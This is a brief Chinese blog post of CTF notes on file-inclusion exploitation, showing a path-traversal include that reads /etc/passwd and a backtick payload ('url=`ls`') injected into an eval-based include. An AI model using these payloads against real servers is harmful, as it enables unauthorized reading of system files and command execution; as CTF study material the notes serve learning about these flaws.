ctf中的漏洞利用姿势

0x01:文件包含

include("show.php?../../../../../../../../etc/passwd")    绕过一些检测

-----

eval("include ".$_GET['url'].";"); 利用方式:url=`ls`

posted @ 2019-11-30 15:51  Tkitn  阅读(292)  评论(0编辑  收藏  举报